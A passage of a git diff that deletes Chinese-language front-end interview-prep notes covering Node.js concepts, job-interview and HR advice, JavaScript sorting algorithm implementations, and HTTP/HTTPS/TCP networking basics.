构造函数Fn的`prototype`,实例对象的原型链。 - - 所以只要**遍历实例对象的原型链**,挨个往上查找看是否有与Fn的`prototype`相等的原型,直到最顶层`Object`还找不到,那么就返回false。 - -7. 可枚举对象有什么 - - - 其中js中**基本包装类型的原型属性**是不可枚举的,如Object, Array, Number等。 - - 可枚举的属性可以通过[for...in](https://link.zhihu.com/?target=https%3A//developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in)循环进行遍历(**除非该属性名是一个[Symbol](https://link.zhihu.com/?target=https%3A//developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)**),或者通过**Object.keys()**方法返回一个**可枚举属性的数组**。 - - - diff --git "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/Node.js \345\211\215\347\253\257\351\235\242\350\257\225\351\242\230.md" "b/src/\351\235\242\350\257\225\351\200\232\347\224\250/Node.js \345\211\215\347\253\257\351\235\242\350\257\225\351\242\230.md" deleted file mode 100644 index 9eaff1dd..00000000 --- "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/Node.js \345\211\215\347\253\257\351\235\242\350\257\225\351\242\230.md" +++ /dev/null @@ -1,157 +0,0 @@ ---- -icon: edit -date: 2022-03-19 -category: -- 面试题 -- 前端 -- Node.js ---- - -# Node.js 前端面试题 - -> 参照 -> -> https://juejin.cn/post/6844904071501971469 -> -> https://juejin.cn/post/6844903764202094606 - -## node-进程通信 :star: - - - -#### Node.js 与 JavaScript 有什么不同? - -(宿主环境) - -![img](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/2ee2f07e9bce4fc9778bf05273645365.png) - -#### 什么时候用 Node.js? - -Node.js 是异步的、事件驱动的、非阻塞的和单线程的,使得它成为开发下面应用程序的完美候选: - -- 实时应用程序,如聊天和提供实时更新的应用程序 -- 将视频或其他多媒体内容流式传输给大量观众的流式应用程序 -- 其他 I/O 密集型应用程序,如协作平台 -- 遵循微服务架构的网络后端 - -然而,Node.js 的特性使得它对于其他类型的应用程序来说不是一个理想的选择。执行 CPU 密集型任务的应用程序(如复杂的数学计算)在使用 CPU 时表现不佳,因为 Node.js 是单线程的。 - -如果你想了解更多这方面的信息,请查看我们的文章 Node.js 架构以及何时在项目中使用。 - -#### 事件循环是什么? - -单线程的 Node.js 必须是非阻塞的,以防止线程阻塞在需要很长时间才能完成的任务上,事件循环负责实现这种非阻塞行为,它使用应用程序线程调度挂起的任务。 - -Node.js 在**任务完成时通过回调**来处理异步函数返回的响应。与创建任务的事件类似,任务完成后也会发出一个事件。**Node.js 将需要处理的事件添加到事件队列**。 - -事件循环对事件队列中的事件进行迭代,并安排何时执行其关联的回调函数。 - -#### 流是什么? - -Stream 流是**从源读取或写入数据并将其传输到连续流目标的管道**。有四种类型: - -- 可读 - -- 可写的 - -- 可读写 - -- 先写入,再读出来 - -每个流也是一个 EventEmitter。这意味着流对象可以在流上没有数据、流上有可用数据或流中的数据在程序刷新时发出事件。 - -#### readFile 和 createReadStream 函数有什么区别 - -readFile 函数异步读取文件的全部内容,并存储在内存中,然后再传递给用户。 - -createReadStream 使用一个可读的流,逐块读取文件,而不是全部存储在内存中。 - -与 readFile 相比,createReadStream 使用更少的内存和更快的速度来优化文件读取操作。如果文件相当大,用户不必等待很长时间直到读取整个内容,因为读取时会先向用户发送小块内容。 - -#### 如何处理 Node.js 中未捕获的异常? - -我们可以在**进程级别**捕获应用程序中未捕获的异常。为此将**侦听器附加到 process 全局对象**: - -```js -process.on("uncaughtException", (err) => { console.log("exception caught: ", err);}); -``` - -#### Node.js 能否充分利用多核处理器? - -(默认的)Node.js 应用程序总是单线程的,即使在多核处理器上运行,应用程序也能只使用一个处理器。 - -但是 Node.js 的核心模块之一 **Cluster** 支持 Node.js 应用程序开启多核,允许我们创建多个工作进程,这些进程可以在多个内核上并行运行,并共享一个端口来侦听事件。 - -每个进程使用 **IPC** 与主线程通信,并根据需要将服务器句柄传递给其他进程。主进程可以侦听端口本身并以循环方式将每个新连接传递给子进程,也可以将端口分配给子进程以便子进程侦听请求。 - -#### 单线程与多线程网络后端相比有哪些好处? - -尽管 Node.js 是单线程的,但是大多数用于后端开发的编程语言都提供多线程来处理应用程序操作。 - -**为什么单线程有利于后端开发?** - -- 开发人员更容易实现应用程序。我们的应用程序在生产过程中不会突然遇到意外的竞争条件。 -- 单线程应用程序易于扩展。 -- 它们可以毫不延迟地在一个时刻收到的大量用户请求提供服务。相比之下,当流量较大时,多线程后端必须等待线程池中的线程释放,才能为用户请求提供服务。**利用 Node.js 的非阻塞特性,用户请求不会在单个线程上挂起太长时间(只有在操作不是 CPU 密集型时)**。 - -#### process.nextTick 和 setImmediate 有什么区别? - -传递给 setImmediate 函数的回调将在事件队列上的下一次迭代中执行。 - -另一方面,回调传递给 process.nextTick 在下一次迭代之前以及程序中当前运行的操作完成之后执行。在应用程序启动时,开始遍历事件队列之前调用它的回调。 - -因此,回调 process.nextTick 总是在 setImmediate 之前调用。 - -#### 什么是 yarn 和 npm?为什么要用 yarn 代替 npm 呢? - -yarn 也是一个包管理器,为了解决 npm 的一些缺点。yarn 依赖 npm 注册中心为用户提供对包访问。**yarn 底层结构基于 npm**,如果从 npm 迁移到 yarn,项目结构和工作流不需要大改。 - -就像之前提到的,在某些情况下,yarn 提供了比 npm 更好的功能。**与 npm 不同的是,它会缓存下载的每个包,不必重新下载。** - -**通过校验和验证包的完整性来提供更好的安全性,保证在某个系统上运行的包在任何其他系统中的工作方式完全相同,这就是为什么选择 yarn 而不是 npm 来进行包管理。** - -#### 怎么看 nodejs 可支持高并发 - -1. nodejs 的单线程架构模型 - -我们通常认为nodejs 的是基于单线程架构模型,但nodejs 其实并不是真正的单线程架构,因为 nodejs 还有I/O线程存在(网络I/O、磁盘I/O),这些I/O线程是由更底层的 `libuv` 处理,这部分线程对于开发者来说是透明的。 JavaScript 代码永远运行在V8上,是单线程的。 - -所以从开发者的角度上来看 nodejs 是单线程的。 - -优势: - -- 单线程就一个线程在玩,省去了线程间切换的开销 -- 还有线程同步的问题,线程冲突的问题的也不需要担心 - -劣势: - -- 劣势也很明显,现在起步都是 4 核,单线程没法充分利用 cpu 的资源 -- 单线程,一旦崩溃,应用就挂掉了,大家调试脚本也知道一旦执行过程报错了,本次调试就直接结束了 -- 因为只能利用一个 cpu ,一旦 cpu 被某个计算一直占用, cpu 得不到释放,后续的请求就会一直被挂起,直接无响应了 - -> 当然这些劣势都已经有成熟的解决方案了,使用 PM2 管理进程,或者上 K8S 也可以 - -2. 核心:事件循环机制 - -`Node`中的`Event Loop`是基于`libuv`实现的,而`libuv`是 `Node` 的新跨平台抽象层,libuv使用异步,事件驱动的编程方式,核心是提供`i/o`的事件循环和异步回调。libuv的`API`包含有时间,非阻塞的网络,异步文件操作,子进程等等。 `Event Loop`就是在`libuv`中实现的。 - -**:star:最常用且特殊的 Process.nextTick()** - -**`process.nextTick()`虽然它是异步API的一部分,但未在图中显示。这是因为`process.nextTick()`从技术上讲,它不是事件循环的一部分。** - -- `process.nextTick()`方法将 `callback` **添加到`next tick`队列**。 **一旦当前事件轮询队列的任务全部完成,在`next tick`队列中的所有`callbacks`会被依次调用。** - -**换种理解方式:** - -- 当每个阶段完成后,如果存在 `nextTick` 队列,**就会清空队列中的所有回调函数,并且优先于其他 `microtask` 执行。** - -**:star:一起说说Vue的API命名`nextTick`** - -**Vue 的 NextTicket** - -也就是说我们在设置`this.msg = 'some thing'`的时候,Vue并没有马上去更新DOM数据,而是将这个操作放进一个队列中;如果我们重复执行的话,队列还会进行去重操作;等待**同一事件循环中**的所有数据变化完成之后,会将队列中的事件拿出来处理。 - -这样做主要是为了提升性能,因为如果在主线程中更新DOM,循环100次就要更新100次DOM;但是如果等事件循环完成之后更新DOM,只需要更新1次。还不了解事件循环的童鞋,可以看我的另一篇文章[从一道面试题来理解JS事件循环](https://link.juejin.cn?target=http%3A%2F%2Fxieyufei.com%2F2019%2F12%2F30%2FQuiz-Eventloop.html) - -为了在数据更新操作之后操作DOM,我们可以在数据变化之后立即使用`Vue.nextTick(callback)`;这样回调函数会在DOM更新完成后被调用,就可以拿到最新的DOM元素了。 - diff --git "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/share.md" "b/src/\351\235\242\350\257\225\351\200\232\347\224\250/share.md" deleted file mode 100644 index 3e4b0d6d..00000000 --- "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/share.md" +++ /dev/null @@ -1,193 +0,0 @@ -## 招聘要求解读 - -**简介:解读主流互联网公司的招聘要求** - -* 互联网公司比较喜欢的平台 - * boss直聘 https://www.zhipin.com/ - * 拉钩 https://www.lagou.com/ - * 猎聘 https://wow.liepin.com/ - * 公司内部开发 - * 阿里 https://campus.alibaba.com/ - * p5、p6、p7、p8 - * 腾讯 https://careers.tencent.com/ - * t1、t2、t3、t4 - -* 招聘要求解读 - * 阿里 - * 腾讯 - * 其他主流互联网公司 - -## 面试形式 - -**简介:讲解阿里、腾讯互联网公司常见的面试形式 ** - -- 社招 - - - 电话面试 - - - 特殊时间段、公司大量招聘 - - - 应聘公司的面试者不在同一城市或者跨省 - - - - - 视频+共享桌面 - - - 通过电话面试 - - - 需要上机操作,考查代码能力,(一般都有线答题平台,公司内部研发、外部系统如leetcode等) - - - - - 技术现场面试 - - - 如果同城一般直接现场面试 - - 或者远程面试通过 - - 现场面试一般会连续几轮,持续几小时 - - - - - HR现场面试 - - - 技术面通过 - - 多个技术面差不多的竞争者,进一步筛选 - - - - - 发放Offer或者不通过 - - - -- 校招 - - - 网申 - - - 春招 - - 秋招 - - - - - 流程 - - - 网申(填写个人资料) -> 统一时间在线笔试 -> 多轮技术+HR面试 -> 发放offer ->实习期 -> 实习答辩 ->转正或者离职 - - - - - 笔试和简历通过后,面试形式和社招一样 - - - -- 内推 - - - 内推的岗位多种,实习和非实习(正式工作) - - 方式: - - 找师兄师姐 - - 个人人脉,比如朋友圈认识大厂的人 - - 领英、脉脉等平台 - - - 对比自己投递简历的好处 - - 简历直接到技术面试官手上,更快捷 - - 对比在招聘平台上,内推更容易获得面试官认可,推荐的人也不会乱推荐 - - 可以推荐到指定的部门 - - - 简历通过后面试形式和社招一样 - -## 怎样应对互联网公司的多轮面试 - -* 面试前 - * 最好去查下公司相关产品业务、如果有app或者网站,提前去熟悉 - * 调查公司的项目,结合技术栈进行加深,也可以看公司其他招聘岗位,推断业务方向 - * 查询公司盈利能力,未来发展机会,避免公司倒闭或者发不出工资,结合网上评价 - * 公司交通位置,上下班会不会特别远,面试最好早到30分钟,不要迟到 - * 巩固面试岗位所需要的技术栈,有自己擅长的某一个领域,比如某个框架 - * 大厂会有人才库和面试记录,尽量做足准备再去 - - - -* 面试中 - - * 要有礼貌,保持头脑清晰,思维清晰 - * 要有自信,不能自卑或者没信心 - * 专业技术一定要准备好,尽量往自己熟悉的方向靠拢,连环问 - * 做过项目一定要熟悉,准备好项目的亮点和难点 - * 有学习热情,掌握主流技术栈,关注前言技术 - * 大厂存在交叉面,方便评级和保证公平 - - - -* 面试后 - - * 尽量可以自己总结,复盘 - * 面试多了,问题都类似,一定去补上,下次也可能遇到 - * 可以问问面试官有没回答不好的点,可以加个联系方式,多点主动联系 - * 如果有多个offer,优先选择能学到技术多的,未来总会返还 - - -## 常见的HR人事面考查问题 - -**简介:HR面试,社招和校招常见考查点** - -- 做下简单的自我介绍? - - - 尽量介绍和专业相关的,毕业、工作经历等,不能过长,尽量2分钟内 - - - -- 为什么从上个公司离职? - - - 不能说不好的,比如公司混乱、勾心斗角、负面情绪 - - 推荐说公司搬迁比较远,然后刚好个人职业规划对某某领域比较喜欢 - - - -- 你对加班的是怎么看的? - - - 业务发展好、公司快速发展,项目紧急等加班非常乐意 - - - 自己也会合理评估工作,提高个人工作效率 - - - -- 有没女朋友,家住在哪里? - - - 考查是否上班太远了,浪费时间,且容易换工作 - - - -- 你对自己未来职业规划是怎样的? - - - 往专业上靠拢,比如几年发展成技术负责人,带团队,多少年称为架构师, 比较喜欢看技术书籍提升能力 - - - -**简介:HR面试,社招和校招常见考查点** - - - -- 你认为自己有什么缺点? - - 不能说没有缺点 - - 避免说影响工作、让人觉得不靠谱 - - 可以说些表面上看是缺点,从工作的角度看却是优点的缺点:对事情追求比较高,比如代码洁癖爱好者,对自己做的产品比较有要求,但也会适当控制 - - - -- 平时有什么爱好或者兴趣? - - 不能说抽烟喝酒啥的 - - 建议是积极向上的活动 - - - -- 你期望的薪资是多少? - - - 薪酬最好写个范围,也看公司具体有哪些福利,比如餐补、交通、住房补助等,是否有13薪或者其他福利 - - - 然后问最终也希望公司可以根据我实际能力给工资,对双方都比较好 - - - -- 你还有其他问题想问的吗? - - - 公司是否有员工培训、晋升机制等 - - 自己面试是否有不足,自己好改进 - - 什么时候会有面试结果,能不能加个联系方式 - diff --git "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/\343\200\214\347\256\227\346\263\225\344\270\216\346\225\260\346\215\256\347\273\223\346\236\204\343\200\215\346\242\263\347\220\2066\345\244\247\346\216\222\345\272\217\347\256\227\346\263\225 \344\270\272\344\272\206offer.md" "b/src/\351\235\242\350\257\225\351\200\232\347\224\250/\343\200\214\347\256\227\346\263\225\344\270\216\346\225\260\346\215\256\347\273\223\346\236\204\343\200\215\346\242\263\347\220\2066\345\244\247\346\216\222\345\272\217\347\256\227\346\263\225 \344\270\272\344\272\206offer.md" deleted file mode 100644 index 1c95df02..00000000 --- "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/\343\200\214\347\256\227\346\263\225\344\270\216\346\225\260\346\215\256\347\273\223\346\236\204\343\200\215\346\242\263\347\220\2066\345\244\247\346\216\222\345\272\217\347\256\227\346\263\225 \344\270\272\344\272\206offer.md" +++ /dev/null @@ -1,340 +0,0 @@ ---- -date: 2022-03-31 -icon: page -category: -- 面试题 -- 前端 ---- - -# 「算法与数据结构」梳理6大排序算法 为了offer - -6种排序如下👇 - -- 冒泡排序 -- 计数排序 -- 快速排序 -- 归并排序 -- 插入排序 -- 选择排序 - -时间复杂度如下图👇 - -![排序算法复杂度分析](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/89124140-33df9700-d507-11ea-8c67-05d51e8103d6.png) - -## 冒泡排序:star: - -这个名字的由来是向泡泡一样`浮`起来,脑补一下,就是每次比较相邻的两个元素大小,然后慢慢'漂浮'起来,我瞎掰的,看思路吧。 - -**「时间复杂度O(n^2)」** - -### 思路 - -1. 比较相邻的元素,前者比后者大的话,两者交换位置。 -2. 对每一对相邻元素做相同操作,从开始第一对到最后一对,这样子最后的元素就是最大元素。 -3. 针对n个元素重复以上步骤,每次循环排除当前最后一个。 -4. 重复步骤1~3,直到排序完成。 - -### 动画 - -![冒泡排序](https://user-images.githubusercontent.com/34484322/89124183-9e90d280-d507-11ea-9f3b-b486f792aa2d.gif)冒泡排序 - -### 代码实现 - -```js -// 最外层循环控制的内容是循环次数 -// 每一次比较的内容都是相邻两者之间的大小关系 -let BubbleSort = function (arr) { - let len = arr.length - - for (let i = 0; i < len - 1; i++) { - for (let j = 0; j < len - 1 - i; j++) { - if (arr[j] > arr[j + 1]) { // 从大到小 - [arr[j], arr[j + 1]] = [arr[j + 1], arr[j]] - } - } - } - return arr -} - -let arr = [2, 9, 6, 7, 4, 3, 1, 7] -console.log(BubbleSort(arr)) -``` - -## 计数排序 - -从名称上就知道,它的思想:就是把数组元素作为数组的下标,然后用一个临时数组统计该元素出现的次数。 - -数组的数据必须是整数,而且最大最小值相差的值不要过大,对于**「数据是负数的话,我实现的方案对此有优化」**。 - -**「时间复杂度:O(n+k)」** - -### 思路 - -1.计算出差值d,最小值小于0,加上本身add - -2.创建统计数组并统计对应元素个数 - -3.统计数组做变形,后面的元素等于前面的元素之和,也就是排名数组 - -4.遍历原始数组,从统计数组中找到正确位置,输出到结果数组 - -### 动画 - -![计数排序](https://user-images.githubusercontent.com/34484322/89124171-815c0400-d507-11ea-9b77-e45ea157a96d.gif)计数排序 - -### 代码实现 - -```js -// 计数排序 -let countingSort = function(arr) { - let min = arr[0], - max = arr[0], - len = arr.length; - // 求最大最小值 - for(let i = 0; i < len; i++) { - max = Math.max(arr[i], max) - min = Math.min(arr[i], min) - } - // 1.计算出差值d,最小值小于0,加上本身add - - let d = max - min, - add = min < 0 ? -min : 0; - //2.创建统计数组并统计对应元素个数 - let countArray = new Array(d+1+add).fill(0) - for(let i = 0; i < len; i++){ - let demp = arr[i]- min + add - countArray[ demp ] += 1 - } - - //3.统计数组做变形,后面的元素等于前面的元素之和,也就是排名数组 - let sum = 0; - - // 这里需要遍历的是countArray数组长度 - for(let i = 0; i < d+1+add; i++){ - sum += countArray[i] - countArray[i] = sum; - } - - let res = new Array(len) - // 4.遍历原始数组,从统计数组中找到正确位置,输出到结果数组 - for(let i = 0; i < len; i++){ - let demp = arr[i] -min + add - res[ countArray[demp] -1 ] = arr[i] - countArray[demp] --; - } - return res -} - -let arr = [2, 9, 6, 7, 4, 3, 1, 7,0,-1,-2] -console.log(countingSort(arr)) -``` - -## 快速排序:star: - -基本思想:通过一趟排序将待排记录分隔成独立的两部分,其中一部分记录的关键字均比另一部分的关键字小,则可分别对这两部分记录继续进行排序,以达到整个序列有序。 - -**「时间复杂度:O(nlogn)」** - -### 思路 - -1. 选择数组中间数作为基数,并从数组中取出此基数 - -2. 准备两个数组容器,遍历数组,逐个与基数比对,较小的放左边容器,较大的放右边容器; - -3. 递归处理两个容器的元素,并将处理后的数据与基数按大小合并成一个数组,返回。 - -4. **优化:三数取中**、**交换分割** - - **三数取中:** - - 在快排的过程中,每一次我们要取一个元素作为枢纽值,以这个数字来将序列划分为两部分。在此我们采用三数取中法,也就是取左端、中间、右端三个数,然后进行排序,将中间数作为枢纽值。 - - **根据枢纽值进行分割:** - - https://juejin.cn/post/6844903657616441352 - -### 动画 - -![快速排序](https://user-images.githubusercontent.com/34484322/89124218-e0ba1400-d507-11ea-87f1-d14ae3aadfb0.gif)快速排序 - -### 代码实现 - -```js -let quickSort = function (arr) { - // 递归出口就是数组长度为1 - if (arr.length <= 1) return arr - //获取中间值的索引,使用Math.floor向下取整; - let index = Math.floor(arr.length / 2) - // 使用splice截取中间值,第一个参数为截取的索引,第二个参数为截取的长度; - // 如果此处使用pivot=arr[index]; 那么将会出现无限递归的错误; - // splice影响原数组,splice影响原数组,应当被删除 - let pivot = arr.splice(index, 1)[0], - left = [], - right = []; - for (let i = 0; i < arr.length; i++) { - if (pivot > arr[i]) { - left.push(arr[i]) - } else { - right.push(arr[i]) - } - } - return quickSort(left).concat([pivot], quickSort(right)); -} - -//let arr = [2, 9, 6, 7, 4, 3, 1, 7] -// console.log(quickSort(arr)) -``` - ------- - -## 归并排序:star: - -将两个有序数列合并成一个有序数列,我们称之为“归并” - -基本思想与过程:先递归的分解数列,再合并数列(分治思想的典型应用) - -**「时间复杂度: O(nlog(n))」** - -### 思路 - -1. 将一个数组拆成A、B两个小组,两个小组继续拆,直到每个小组只有一个元素为止。 -2. 按照拆分过程逐步合并小组,由于各小组初始只有一个元素,可以看做小组内部是有序的,合并小组可以被看做是合并两个有序数组的过程。 -3. 对左右两个小数列重复第二步,直至各区间只有1个数。 - -### 动画 - -![归并排序](https://camo.githubusercontent.com/4087941af1ad827c4878739509716df32168e1fb/68747470733a2f2f706963342e7a68696d672e636f6d2f76322d63646461336631316336656662633031353737663563323961393036363737325f622e77656270)归并排序 - -### 代码实现 - -```js -const merge = (left, right) => { // 合并数组 - - let result = [] - // 使用shift()方法偷个懒,删除第一个元素,并且返回该值 - while (left.length && right.length) { - if (left[0] <= right[0]) { - result.push(left.shift()) - } else { - result.push(right.shift()) - } - } - while (left.length) { - result.push(left.shift()) - } - - while (right.length) { - result.push(right.shift()) - } - return result -} - -let mergeSort = function (arr) { - if (arr.length <= 1) - return arr - let mid = Math.floor(arr.length / 2) - // 拆分数组 - let left = arr.slice(0, mid), - right = arr.slice(mid); - let mergeLeftArray = mergeSort(left), - mergeRightArray = mergeSort(right) - return merge(mergeLeftArray, mergeRightArray) -} - -let arr = [2, 9, 6, 7, 4, 3, 1, 7, 0, -1, -2] -console.log(mergeSort(arr)) -``` - ------- - -## 插入排序:star: - -顾名思义:通过构建有序序列,对于未排序数据,在已排序序列中从后向前扫描,找到相应位置并插入。 - -**「时间复杂度: O(n^2)」** - -### 思路 - -1. 从第一个元素开始,该元素可以认为已经被排序; -2. 取出下一个元素,在已经排序的元素序列中从后向前扫描; -3. 如果该元素(已排序)大于新元素,将该元素移到下一位置; -4. 重复步骤3,直到找到已排序的元素小于或者等于新元素的位置; -5. 重复步骤2~5。 - -### 动画 - -![插入排序](https://user-images.githubusercontent.com/34484322/89124203-c2541880-d507-11ea-9859-e964f5463a86.gif) - -### 代码实现 - -```js -let insertionSort = function (arr) { - let len = arr.length - // 双指针,当前和前一个 - for (let i = 0; i < len; i++) { - let preIndex = i - 1, - cur = arr[i]; - // 第一个元素无前一个元素,可以直接赋值 - while (preIndex >= 0 && arr[preIndex] > cur) { - arr[preIndex + 1] = arr[preIndex] - preIndex--; - } - arr[preIndex + 1] = cur - } - return arr -} - - -let arr = [2, 9, 6, 7, 4, 3, 1, 7, 0, -1, -2] -console.log(insertionSort(arr)) -``` - ------- - -## 选择排序:star: - -思路:每一次从待排序的数组元素中选择**最大(最小)的一个元素作为首元素**,直到排完为止 - -**「时间复杂度O(n^2)」** - -### 思路 - -1. 有n个数,需要排序n-1次 -2. 第一次选择最小值,放在第一位 -3. 第二次选择最小值,放在第二位 -4. …..重复该过程 -5. 第n-1次选择最小值,放在第n-1位 - -### 动画 - -![选择排序](https://user-images.githubusercontent.com/34484322/89124365-0398f800-d509-11ea-9573-6a24820cfd81.gif) - -### 代码实现 - -```js -let selectSort = function (arr) { - let len = arr.length, - temp = 0; - // 一共需要排序len-1次 - for (let i = 0; i < len - 1; i++) { - // 设定替换目标,从数组的第一个开始 - temp = i; - for (let j = i + 1; j < len; j++) { - if (arr[j] < arr[temp]) - temp = j; - } - // 每一趟保证第i位为最小值 - if (temp !== i) { - [arr[i], arr[temp]] = [arr[temp], arr[i]] - } - } - - return arr -} - - -let arr = [2, 9, 6, 7, 4, 3, 1, 7, 0, -1, -2] -console.log(selectSort(arr)) -``` - -![image-20220330152603208](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220330152603208.png) diff --git "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/\345\211\215\347\253\257\345\267\245\347\250\213\345\270\210\351\235\242\350\257\225\346\211\213\345\206\214.md" "b/src/\351\235\242\350\257\225\351\200\232\347\224\250/\345\211\215\347\253\257\345\267\245\347\250\213\345\270\210\351\235\242\350\257\225\346\211\213\345\206\214.md" deleted file mode 100644 index 353568fc..00000000 --- "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/\345\211\215\347\253\257\345\267\245\347\250\213\345\270\210\351\235\242\350\257\225\346\211\213\345\206\214.md" +++ /dev/null @@ -1,791 +0,0 @@ ---- -date: 2022-03-28 -icon: page -category: -- 面试题 -- 前端 -headerDepth: 3 ---- - -# 前端工程师面试手册 - -> [在线预览](https://my-doc-1259409954.cos.ap-guangzhou.myqcloud.com/pdf/%E5%89%8D%E7%AB%AF%E5%B7%A5%E7%A8%8B%E5%B8%88%E9%9D%A2%E8%AF%95%E9%A2%98%E6%89%8B%E5%86%8C.pdf?ci-process=doc-preview&dstType=html) - -## 前端基础 - -### HTTP/HTML/浏览器 - -#### 说一下 HTTP 和 HTTPS - -HTTPS 的 SSL 加密是在传输层实现的。 - -**(1)HTTP 和 HTTPS 的基本概念** - -HTTP: 超文本传输协议(基于TCP),它可以使浏览器更加高效,使网络传输减少。 - -HTTPS: 是以安全为目标的 HTTP 通道,简单讲是 HTTP 的安全版,即 HTTP 下加入 SSL 层,HTTPS 的安全基础是 SSL,因此加密的详细内容就需要 SSL。 **HTTPS 协议的主要作用是:建立一个信息安全通道,来确保数组的传输,确保网站的真实性。** - -**(2)HTTP 和 HTTPS 的区别?** - -HTTP 传输的数据都是未加密的,也就是明文的, SSL 协议来对 HTTP 协议传输的数据进行加密处理,简单来说 HTTPS 协议是由 HTTP 和 SSL 协议构建的可进行加密传 输和身份认证的网络协议,比 HTTP 协议的安全性更高。 - -**主要的区别如下:** - -HTTPS 协议需要 CA 证书,费用较高。 HTTP 是超文本传输协议,信息是明文传输,HTTPS 则是具有安全性的 SSL 加密传输协议。 - -使用不同的链接方式,端口也不同,一般而言,HTTP 协议的端口为 80,HTTPS 的端口为 443,HTTP 的连接很简单,是无状态的;HTTPS 协议是由 SSL+HTTP 协议构建的可进行加密传输(非对称加密)、身份认证的网络协议,比 HTTP 协议安全。 - -(3)HTTPS 协议的工作原理 - -客户端在使用 HTTPS 方式与 Web 服务器通信时有以下几个步骤。 - -客户使用 HTTPS url 访问服务器,则要求 web 服务器建立 ssl 链接。 - -web 服务器接收到客户端的请求之后,会将网站的证书(证书中包含了公钥),返回或 者说传输给客户端。 - -客户端和 web 服务器端开始协商 SSL 链接的安全等级,也就是加密等级。 - -客户端浏览器通过双方协商一致的安全等级,建立会话密钥,然后通过网站的公钥来加密会话密钥,并传送给网站。 - -web 服务器通过自己的私钥解密出会话密钥。 web 服务器通过会话密钥加密与客户端之间的通信。 - -**(4)HTTPS 协议的优点** - -使用 HTTPS 协议可认证用户和服务器,确保数据发送到正确的客户机和服务器HTTPS 协议是由 SSL+HTTP 协议构建的可进行**加密传输、身份认证的网络协议**,要比 http 协议安全,可防止数据在传输过程中不被窃取、改变,确保数据的完整性。 - -HTTPS 是现行架构下最安全的解决方案,虽然不是绝对安全,但它大幅增加了中间人攻 击的成本。 - -**(5)https 协议的缺点** - -https 握手阶段比较**费时**,会使页面加载时间延长 50%,增加 10%~20%的耗电。 https 缓存不如 http 高效,会增加数据开销。 SSL 证书也需要钱,功能越强大的证书费用越高。 **SSL 证书需要绑定 IP**,不能再同一个 ip 上绑定多个域名,ipv4 资源支持不了这种消耗。 - -#### TCP 三次握手,一句话概括 - -C 发起请求连接 S 确认,也发起连接 C 确认我们 再看看每次握手的作用:第一次握手:S 只可以确认 自己可以接受 C 发送的报文段第 二次握手:C 可以确认 S 收到了自己发送的报文段,并且可以确认 自己可以接受 S 发 送的报文段第三次握手:S 可以确认 C - -#### TCP 和 UDP 的区别 - -(1)TCP 是面向连接的,UDP是无连接的即发送数据前**不需要先建立链接**。 -(2)TCP 提供可靠的服务。也就是说,通过 TCP 连接传送的数据,无差错,不丢失,不重复,且按序到达;UDP 尽最大努力交付,即不保证可靠交付。 并且因为 TCP可靠,面向连接,不会丢失数据因此适合大数据量的交换。 -(3)TCP 是面向字节流,UDP 面向报文,并且网络出现拥塞不会使得发送速率降低(因此会出现丢包,对实时的应用比如 IP 电话和视频会议等)。 -(4)TCP 只能是 1 对 1 的,UDP 支持 1 对 1,1 对多。 -(5)TCP 的首部较大为 20 字节,而 UDP 只有 8 字节。 -(6)TCP 是面向连接的可靠性传输,而 UDP 是不可靠的 - -#### WebSocket 的实现和应用 - -**(1)什么是 WebSocket?** - -WebSocket 是 HTML5 中的协议,支持持久连续,http 协议不支持持久性连接。Http1.0 和 HTTP1.1 都不支持持久性的链接,**HTTP1.1 中的 keep-alive,将多个 http 请求合并为 1 个。** - -**(2)WebSocket 是什么样的协议,具体有什么优点?** - -HTTP 的生命周期通过 Request 来界定,也就是 Request 一个 Response,那么在 Http1.0 协议中,这次 Http 请求就结束了。在 Http1.1 中进行了改进,是的有一个 connection: Keep-alive,也就是说,在一个 Http 连接中,可以发送多个 Request,接收多个 Response。 但是必须记住,**在 Http 中一个 Request 只能对应有一个 Response,而且这个 Response 是被动的,不能主动发起。** - -WebSocket 是基于 Http 协议的,或者说**借用了 Http 协议来完成一部分握手**,在握手阶段 与 Http 是相同的。 - -#### HTTP 请求的方式,HEAD 方式 - -head:类似于 get 请求,只不过返回的响应中没有具体的内容,用户获取报头 - -options:允许客户端查看服务器的性能,比如说服务器支持的请求方式等等 - -#### 说一下 web Quality(无障碍 - -能够被残障人士使用的网站才能称得上一个易用的(易访问的)网站。 残障人士指的是那些带有残疾或者身体不健康的用户。 使用 **alt 属性**: - -`this is a person` - -有时候浏览器会无法显示图像。具体的原因有: - -用户关闭了图像显示 - -浏览器是不支持图形显示的迷你浏览器 - -浏览器是语音浏览器(供盲人和弱视人群使用) - -如果您使用了 alt 属性,那么浏览器至少可以显示或读出有关图像的描述 - -#### 几个很实用的 BOM 属性对象方法 - -**(1)location 对象** - -location.href-- 返回或设置当前文档的 URL - -location.search -- 返回 URL 中的查询字符串部分 - -location.href-- 返回或设置当前文档的 URL - -location.search -- 返回 URL 中的查询字符串部分。 - -location.hostname -- 返回 URL 中的主域名部分, - -location.pathname -- 返回 URL 的域名后的部分。 - -location.port -- 返回 URL 中的端口部分。 - -location.protocol -- 返回 URL 中的协议部分。 - -location.assign -- 设置当前文档的 URL - - - -**(2)history 对象** - -history.go() -- 前进或后退指定的页面数 history.go(num); - -history.back() -- 后退一页 - -history.forward() -- 前进一页 - -**(3)对象** - -navigator.userAgent -- 返回用户代理头的字符串表示(就是包括浏览器版本信息等的字 -符串) -navigator.cookieEnabled -- 返回浏览器是否支持(启用)cookie - -#### 说一下 HTTP2.0 - -- 提升访问速度(可以对于,请求资源所需时间更少,访问速度更快,相比 http1.0) -- 允许多路复用:多路复用允许同时通过单一的 HTTP/2 连接发送多重请求-响应信息。改善了:在 http1.1 中,浏览器客户端在同一时间,针对同一域名下的请求有一定数量限制(连接数量),超过限制会被阻塞。 -- 二进制分帧:HTTP2.0 会将所有的传输信息分割为更小的信息或者帧,并对他们进行二进制编码(http1.X 的解析是基于文本的,http2.0 将所有的传输信息分割为更小的 